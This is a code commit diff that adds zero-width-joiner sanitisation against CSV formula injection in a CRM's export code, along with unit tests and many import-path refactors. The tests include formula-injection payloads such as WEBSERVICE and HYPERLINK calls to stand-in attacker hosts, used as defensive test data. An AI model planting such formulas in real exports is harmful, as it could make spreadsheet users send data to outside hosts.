Prevent csv export injections (#14347)

**Small Security Issue:** CSV exports were vulnerable to formula
injection attacks when users entered values starting with =, +, -, or @.
(only happens if a logged-in user injects corrupted data)

Solution:
- Added ZWJ (Zero-Width Joiner) protection that prefixes dangerous
values with invisible Unicode character
- This is the best way to preserve original data while preventing Excel
from executing formulas
- Added import cleanup to restore original values when re-importing
 
Changes:
- New sanitizeValueForCSVExport() function for security
- Updated all CSV export paths to use both security + formatting
functions
- Added comprehensive tests covering attack vectors and international
characters
- Also added cursor rules for better code consistency

---------

Co-authored-by: Charles Bochet <charlesBochet@users.noreply.github.com>
This commit is contained in:
Félix Malfait
2025-09-08 17:57:46 +02:00
committed by GitHub
parent 374b5dce66
commit cebcf4f1f5
293 changed files with 1847 additions and 1399 deletions
@@ -4,6 +4,7 @@ import { useSetRecoilState } from 'recoil';
import { useObjectNamePluralFromSingular } from '@/object-metadata/hooks/useObjectNamePluralFromSingular';
import { useObjectOptionsDropdown } from '@/object-record/object-options-dropdown/hooks/useObjectOptionsDropdown';
import { SettingsPath } from '@/types/SettingsPath';
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
import { DropdownMenuHeader } from '@/ui/layout/dropdown/components/DropdownMenuHeader/DropdownMenuHeader';
import { DropdownMenuHeaderLeftComponent } from '@/ui/layout/dropdown/components/DropdownMenuHeader/internal/DropdownMenuHeaderLeftComponent';
@@ -12,10 +13,9 @@ import { DropdownMenuSeparator } from '@/ui/layout/dropdown/components/DropdownM
import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState';
import { ViewFieldsHiddenDropdownSection } from '@/views/components/ViewFieldsHiddenDropdownSection';
import { useLingui } from '@lingui/react/macro';
import { SettingsPath } from 'twenty-shared/types';
import { getSettingsPath } from 'twenty-shared/utils';
import { IconChevronLeft, IconSettings } from 'twenty-ui/display';
import { MenuItem, UndecoratedLink } from 'twenty-ui/navigation';
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
export const ObjectOptionsDropdownHiddenFieldsContent = () => {
const { t } = useLingui();
@@ -7,6 +7,7 @@ import { RecordGroupsVisibilityDropdownSection } from '@/object-record/record-gr
import { useRecordGroupVisibility } from '@/object-record/record-group/hooks/useRecordGroupVisibility';
import { recordGroupFieldMetadataComponentState } from '@/object-record/record-group/states/recordGroupFieldMetadataComponentState';
import { hiddenRecordGroupIdsComponentSelector } from '@/object-record/record-group/states/selectors/hiddenRecordGroupIdsComponentSelector';
import { SettingsPath } from '@/types/SettingsPath';
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
import { DropdownMenuHeader } from '@/ui/layout/dropdown/components/DropdownMenuHeader/DropdownMenuHeader';
import { DropdownMenuHeaderLeftComponent } from '@/ui/layout/dropdown/components/DropdownMenuHeader/internal/DropdownMenuHeaderLeftComponent';
@@ -17,10 +18,9 @@ import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/ho
import { useLingui } from '@lingui/react/macro';
import { useLocation } from 'react-router-dom';
import { useSetRecoilState } from 'recoil';
import { SettingsPath } from 'twenty-shared/types';
import { getSettingsPath } from 'twenty-shared/utils';
import { IconChevronLeft, IconSettings } from 'twenty-ui/display';
import { MenuItem, UndecoratedLink } from 'twenty-ui/navigation';
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
export const ObjectOptionsDropdownHiddenRecordGroupsContent = () => {
const { t } = useLingui();
@@ -8,6 +8,7 @@ import { useSearchRecordGroupField } from '@/object-record/object-options-dropdo
import { recordGroupFieldMetadataComponentState } from '@/object-record/record-group/states/recordGroupFieldMetadataComponentState';
import { hiddenRecordGroupIdsComponentSelector } from '@/object-record/record-group/states/selectors/hiddenRecordGroupIdsComponentSelector';
import { useHandleRecordGroupField } from '@/object-record/record-index/hooks/useHandleRecordGroupField';
import { SettingsPath } from '@/types/SettingsPath';
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
import { DropdownMenuHeader } from '@/ui/layout/dropdown/components/DropdownMenuHeader/DropdownMenuHeader';
import { DropdownMenuHeaderLeftComponent } from '@/ui/layout/dropdown/components/DropdownMenuHeader/internal/DropdownMenuHeaderLeftComponent';
@@ -20,8 +21,7 @@ import { ViewType } from '@/views/types/ViewType';
import { useLingui } from '@lingui/react/macro';
import { useLocation } from 'react-router-dom';
import { useSetRecoilState } from 'recoil';
import { SettingsPath } from 'twenty-shared/types';
import { getSettingsPath, isDefined } from 'twenty-shared/utils';
import { isDefined } from 'twenty-shared/utils';
import { IconChevronLeft, IconSettings, useIcons } from 'twenty-ui/display';
import {
MenuItem,
@@ -29,6 +29,7 @@ import {
UndecoratedLink,
} from 'twenty-ui/navigation';
import { FieldMetadataType } from '~/generated-metadata/graphql';
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
export const ObjectOptionsDropdownRecordGroupFieldsContent = () => {
const { t } = useLingui();
@@ -20,13 +20,14 @@ import { recordStoreFamilySelector } from '@/object-record/record-store/states/s
import { AggregateOperations } from '@/object-record/record-table/constants/AggregateOperations';
import { type ObjectRecord } from '@/object-record/types/ObjectRecord';
import { prefetchIndexViewIdFromObjectMetadataItemFamilySelector } from '@/prefetch/states/selector/prefetchIndexViewIdFromObjectMetadataItemFamilySelector';
import { AppPath } from '@/types/AppPath';
import { isDropdownOpenComponentState } from '@/ui/layout/dropdown/states/isDropdownOpenComponentState';
import { useIsMobile } from '@/ui/utilities/responsive/hooks/useIsMobile';
import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue';
import { useLingui } from '@lingui/react/macro';
import { AppPath, ViewFilterOperand } from 'twenty-shared/types';
import { getAppPath } from 'twenty-shared/utils';
import { ViewFilterOperand } from 'twenty-shared/types';
import { RelationType } from '~/generated-metadata/graphql';
import { getAppPath } from '~/utils/navigation/getAppPath';
type RecordDetailRelationSectionProps = {
loading: boolean;
@@ -8,6 +8,7 @@ import { type RecordGroupAction } from '@/object-record/record-group/types/Recor
import { useRecordIndexContextOrThrow } from '@/object-record/record-index/contexts/RecordIndexContext';
import { useRecordIndexIdFromCurrentContextStore } from '@/object-record/record-index/hooks/useRecordIndexIdFromCurrentContextStore';
import { useHasPermissionFlag } from '@/settings/roles/hooks/useHasPermissionFlag';
import { SettingsPath } from '@/types/SettingsPath';
import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState';
import { useRecoilComponentFamilyValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentFamilyValue';
import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue';
@@ -17,7 +18,6 @@ import { isUndefined } from '@sniptt/guards';
import { useCallback, useContext } from 'react';
import { useLocation } from 'react-router-dom';
import { useSetRecoilState } from 'recoil';
import { SettingsPath } from 'twenty-shared/types';
import { isDefined } from 'twenty-shared/utils';
import {
IconArrowLeft,
@@ -1,5 +1,6 @@
import { type FieldMetadata } from '@/object-record/record-field/ui/types/FieldMetadata';
import { type ColumnDefinition } from '@/object-record/record-table/types/ColumnDefinition';
import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
import { FieldMetadataType, RelationType } from '~/generated-metadata/graphql';
import {
@@ -11,22 +12,38 @@ jest.useFakeTimers();
describe('generateCsv', () => {
it('generates a csv with formatted headers', async () => {
const columns = [
{ label: 'Foo', metadata: { fieldName: 'foo' } },
{ label: 'Empty', metadata: { fieldName: 'empty' } },
const columns: Pick<
ColumnDefinition<FieldMetadata>,
'size' | 'label' | 'type' | 'metadata'
>[] = [
{
label: 'Foo',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'foo' },
},
{
label: 'Empty',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'empty' },
},
{
label: 'Nested link field',
size: 150,
type: FieldMetadataType.LINKS,
metadata: { fieldName: 'nestedLinkField' },
},
{
label: 'Relation',
size: 120,
type: FieldMetadataType.TEXT,
metadata: {
fieldName: 'relation',
relationType: RelationType.MANY_TO_ONE,
},
},
] as ColumnDefinition<FieldMetadata>[];
];
const rows = [
{
id: '1',
@@ -49,6 +66,275 @@ describe('generateCsv', () => {
.toEqual(`Id,Foo,Empty,Nested link field / Link URL,Nested link field / Secondary Links,Relation
1,some field,,https://www.test.com,"[{""label"":""secondary link 1"",""url"":""https://www.test.com""},{""label"":""secondary link 2"",""url"":""https://www.test.com""}]",a relation`);
});
describe('CSV Injection Prevention with ZWJ', () => {
it('prevents formula injection with equals sign using ZWJ prefix', () => {
const columns: Pick<
ColumnDefinition<FieldMetadata>,
'size' | 'label' | 'type' | 'metadata'
>[] = [
{
label: 'Name',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'name' },
},
{
label: 'Formula',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'formula' },
},
];
const rows = [
{
id: '1',
name: 'Test User',
formula: '=WEBSERVICE("http://attacker.com")',
},
];
const csv = generateCsv({ columns, rows });
expect(csv).toContain(
`${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://attacker.com"")`,
);
expect(csv).not.toContain(
'1,Test User,=WEBSERVICE("http://attacker.com")',
);
expect(csv).toContain(
`1,Test User,"${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://attacker.com"")"`,
);
});
it('prevents formula injection with plus sign using ZWJ prefix', () => {
const columns: Pick<
ColumnDefinition<FieldMetadata>,
'size' | 'label' | 'type' | 'metadata'
>[] = [
{
label: 'Calculation',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'calculation' },
},
];
const rows = [
{
id: '1',
calculation: '+1+1',
},
];
const csv = generateCsv({ columns, rows });
expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}+1+1`);
expect(csv).not.toContain('1,+1+1');
});
it('prevents formula injection with minus sign using ZWJ prefix', () => {
const columns: Pick<
ColumnDefinition<FieldMetadata>,
'size' | 'label' | 'type' | 'metadata'
>[] = [
{
label: 'Calculation',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'calculation' },
},
];
const rows = [
{
id: '1',
calculation: '-1+1',
},
];
const csv = generateCsv({ columns, rows });
expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}-1+1`);
expect(csv).not.toContain('1,-1+1');
});
it('prevents formula injection with at symbol using ZWJ prefix', () => {
const columns: Pick<
ColumnDefinition<FieldMetadata>,
'size' | 'label' | 'type' | 'metadata'
>[] = [
{
label: 'Reference',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'reference' },
},
];
const rows = [
{
id: '1',
reference: '@SUM(1,1)',
},
];
const csv = generateCsv({ columns, rows });
expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}@SUM(1,1)`);
expect(csv).not.toContain('1,@SUM(1,1)');
});
it('prevents formula injection with tab character using ZWJ prefix', () => {
const columns: Pick<
ColumnDefinition<FieldMetadata>,
'size' | 'label' | 'type' | 'metadata'
>[] = [
{
label: 'Data',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'data' },
},
];
const rows = [
{
id: '1',
data: '\t=WEBSERVICE("http://attacker.com")',
},
];
const csv = generateCsv({ columns, rows });
expect(csv).toContain(
`${CSV_INJECTION_PREVENTION_ZWJ}\t=WEBSERVICE(""http://attacker.com"")`,
);
expect(csv).not.toContain('1,\t=WEBSERVICE("http://attacker.com")');
});
it('prevents formula injection with carriage return using ZWJ prefix', () => {
const columns: Pick<
ColumnDefinition<FieldMetadata>,
'size' | 'label' | 'type' | 'metadata'
>[] = [
{
label: 'Data',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'data' },
},
];
const rows = [
{
id: '1',
data: '\r=WEBSERVICE("http://attacker.com")',
},
];
const csv = generateCsv({ columns, rows });
expect(csv).toContain(
`${CSV_INJECTION_PREVENTION_ZWJ}\r=WEBSERVICE(""http://attacker.com"")`,
);
expect(csv).not.toContain('1,\r=WEBSERVICE("http://attacker.com")');
});
it('handles multiple injection attempts in different fields with ZWJ prefix', () => {
const columns: Pick<
ColumnDefinition<FieldMetadata>,
'size' | 'label' | 'type' | 'metadata'
>[] = [
{
label: 'Field1',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'field1' },
},
{
label: 'Field2',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'field2' },
},
{
label: 'Field3',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'field3' },
},
];
const rows = [
{
id: '1',
field1: '=WEBSERVICE("http://evil.com")',
field2: '+SUM(A1:A10)',
field3: '-HYPERLINK("http://malicious.com")',
},
];
const csv = generateCsv({ columns, rows });
expect(csv).toContain(
`${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://evil.com"")`,
);
expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}+SUM(A1:A10)`);
expect(csv).toContain(
`${CSV_INJECTION_PREVENTION_ZWJ}-HYPERLINK(""http://malicious.com"")`,
);
expect(csv).not.toContain('1,=WEBSERVICE("http://evil.com")');
expect(csv).not.toContain(',+SUM(A1:A10)');
expect(csv).not.toContain(',-HYPERLINK("http://malicious.com")');
});
it('preserves legitimate content that does not start with dangerous characters', () => {
const columns: Pick<
ColumnDefinition<FieldMetadata>,
'size' | 'label' | 'type' | 'metadata'
>[] = [
{
label: 'Name',
size: 100,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'name' },
},
{
label: 'Email',
size: 120,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'email' },
},
{
label: 'Description',
size: 200,
type: FieldMetadataType.TEXT,
metadata: { fieldName: 'description' },
},
];
const rows = [
{
id: '1',
name: 'John Doe',
email: 'john@example.com',
description:
'This is a normal description with = and + symbols in the middle',
},
];
const csv = generateCsv({ columns, rows });
expect(csv).toContain('John Doe');
expect(csv).toContain('john@example.com');
expect(csv).toContain(
'This is a normal description with = and + symbols in the middle',
);
});
});
});
describe('displayedExportProgress', () => {
@@ -12,7 +12,8 @@ import {
import { type ColumnDefinition } from '@/object-record/record-table/types/ColumnDefinition';
import { type ObjectRecord } from '@/object-record/types/ObjectRecord';
import { COMPOSITE_FIELD_SUB_FIELD_LABELS } from '@/settings/data-model/constants/CompositeFieldSubFieldLabel';
import { escapeCSVValue } from '@/spreadsheet-import/utils/escapeCSVValue';
import { formatValueForCSV } from '@/spreadsheet-import/utils/formatValueForCSV';
import { sanitizeValueForCSVExport } from '@/spreadsheet-import/utils/sanitizeValueForCSVExport';
import { t } from '@lingui/core/macro';
import { saveAs } from 'file-saver';
import { isDefined } from 'twenty-shared/utils';
@@ -60,11 +61,10 @@ export const generateCsv: GenerateExport = ({
const columnsToExportWithIdColumn = [objectIdColumn, ...columnsToExport];
const keys = columnsToExportWithIdColumn.flatMap((col) => {
const headerLabel = `${col.label}${col.type === 'RELATION' ? ' Id' : ''}`;
const column = {
field: `${col.metadata.fieldName}${col.type === 'RELATION' ? 'Id' : ''}`,
title: escapeCSVValue(
`${col.label}${col.type === 'RELATION' ? ' Id' : ''}`,
),
title: formatValueForCSV(sanitizeValueForCSVExport(headerLabel)),
};
const columnType = col.type;
@@ -76,16 +76,46 @@ export const generateCsv: GenerateExport = ({
const subFieldLabel = COMPOSITE_FIELD_SUB_FIELD_LABELS[columnType][key];
return {
field: `${column.field}.${key}`,
title: `${column.title} / ${subFieldLabel}`,
title: formatValueForCSV(
sanitizeValueForCSVExport(`${column.title} / ${subFieldLabel}`),
),
};
});
return nestedFieldsWithoutTypename;
});
return json2csv(rows, {
const sanitizedRows = rows.map((row) => {
const sanitizedRow: Record<string, any> = {};
for (const [key, value] of Object.entries(row)) {
// Apply ZWJ sanitization to all string values
if (typeof value === 'string') {
sanitizedRow[key] = sanitizeValueForCSVExport(value);
} else if (isDefined(value) && typeof value === 'object') {
// Handle nested objects (like composite fields)
sanitizedRow[key] = {};
for (const [nestedKey, nestedValue] of Object.entries(value)) {
if (typeof nestedValue === 'string') {
sanitizedRow[key][nestedKey] =
sanitizeValueForCSVExport(nestedValue);
} else {
sanitizedRow[key][nestedKey] = nestedValue;
}
}
} else {
sanitizedRow[key] = value;
}
}
return sanitizedRow;
});
return json2csv(sanitizedRows, {
keys,
emptyFieldValue: '',
// Note: We handle CSV injection prevention manually with ZWJ approach above
// This preserves original which the csvSecurity option does not do
});
};
@@ -1,8 +1,8 @@
import { contextStoreCurrentViewIdComponentState } from '@/context-store/states/contextStoreCurrentViewIdComponentState';
import { type ObjectMetadataItem } from '@/object-metadata/types/ObjectMetadataItem';
import { AppPath } from '@/types/AppPath';
import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue';
import { AppPath } from 'twenty-shared/types';
import { getAppPath } from 'twenty-shared/utils';
import { getAppPath } from '~/utils/navigation/getAppPath';
export const useHandleIndexIdentifierClick = ({
objectMetadataItem,
@@ -7,10 +7,10 @@ import { useRecordIndexContextOrThrow } from '@/object-record/record-index/conte
import { recordIndexOpenRecordInState } from '@/object-record/record-index/states/recordIndexOpenRecordInState';
import { currentRecordSortsComponentState } from '@/object-record/record-sort/states/currentRecordSortsComponentState';
import { canOpenObjectInSidePanel } from '@/object-record/utils/canOpenObjectInSidePanel';
import { AppPath } from '@/types/AppPath';
import { useRecoilComponentCallbackState } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentCallbackState';
import { ViewOpenRecordInType } from '@/views/types/ViewOpenRecordInType';
import { useRecoilCallback } from 'recoil';
import { AppPath } from 'twenty-shared/types';
import { useNavigateApp } from '~/hooks/useNavigateApp';
export const useOpenRecordFromIndexView = () => {
@@ -4,8 +4,8 @@ import { useRecoilValue } from 'recoil';
import { useCommandMenu } from '@/command-menu/hooks/useCommandMenu';
import { useFindManyRecordsSelectedInContextStore } from '@/context-store/hooks/useFindManyRecordsSelectedInContextStore';
import { useMergeManyRecords } from '@/object-record/hooks/useMergeManyRecords';
import { AppPath } from '@/types/AppPath';
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
import { AppPath } from 'twenty-shared/types';
import { useNavigateApp } from '~/hooks/useNavigateApp';
import { mergeSettingsState } from '../states/mergeSettingsState';
@@ -7,8 +7,8 @@ import { useObjectMetadataItem } from '@/object-metadata/hooks/useObjectMetadata
import { useFindManyRecords } from '@/object-record/hooks/useFindManyRecords';
import { lastShowPageRecordIdState } from '@/object-record/record-field/ui/states/lastShowPageRecordId';
import { useRecordIdsFromFindManyCacheRootQuery } from '@/object-record/record-show/hooks/useRecordIdsFromFindManyCacheRootQuery';
import { AppPath } from '@/types/AppPath';
import { useQueryVariablesFromParentView } from '@/views/hooks/useQueryVariablesFromParentView';
import { AppPath } from 'twenty-shared/types';
import { isDefined } from 'twenty-shared/utils';
import { useNavigateApp } from '~/hooks/useNavigateApp';
@@ -1,7 +1,7 @@
/* eslint-disable @nx/workspace-no-navigate-prefer-link */
import { RecordTableEmptyStateDisplay } from '@/object-record/record-table/empty-state/components/RecordTableEmptyStateDisplay';
import { SettingsPath } from '@/types/SettingsPath';
import { t } from '@lingui/core/macro';
import { SettingsPath } from 'twenty-shared/types';
import { IconSettings } from 'twenty-ui/display';
import { useNavigateSettings } from '~/hooks/useNavigateSettings';
@@ -9,9 +9,9 @@ import { RecordTitleCellContainerType } from '@/object-record/record-title-cell/
import { type ObjectRecord } from '@/object-record/types/ObjectRecord';
import { canOpenObjectInSidePanel } from '@/object-record/utils/canOpenObjectInSidePanel';
import { getRecordFieldInputInstanceId } from '@/object-record/utils/getRecordFieldInputId';
import { AppPath } from '@/types/AppPath';
import { ViewOpenRecordInType } from '@/views/types/ViewOpenRecordInType';
import { useRecoilCallback } from 'recoil';
import { AppPath } from 'twenty-shared/types';
import { isDefined } from 'twenty-shared/utils';
import { v4 } from 'uuid';
import { useNavigateApp } from '~/hooks/useNavigateApp';
@@ -7,16 +7,16 @@ import { useChangeRecordFieldVisibility } from '@/object-record/record-field/hoo
import { type FieldMetadata } from '@/object-record/record-field/ui/types/FieldMetadata';
import { useRecordTableContextOrThrow } from '@/object-record/record-table/contexts/RecordTableContext';
import { type ColumnDefinition } from '@/object-record/record-table/types/ColumnDefinition';
import { SettingsPath } from '@/types/SettingsPath';
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
import { DropdownMenuItemsContainer } from '@/ui/layout/dropdown/components/DropdownMenuItemsContainer';
import { DropdownMenuSeparator } from '@/ui/layout/dropdown/components/DropdownMenuSeparator';
import { useCloseDropdown } from '@/ui/layout/dropdown/hooks/useCloseDropdown';
import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState';
import { useLingui } from '@lingui/react/macro';
import { SettingsPath } from 'twenty-shared/types';
import { getSettingsPath } from 'twenty-shared/utils';
import { IconSettings, useIcons } from 'twenty-ui/display';
import { MenuItem, UndecoratedLink } from 'twenty-ui/navigation';
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
export const RecordTableHeaderPlusButtonContent = () => {
const { t } = useLingui();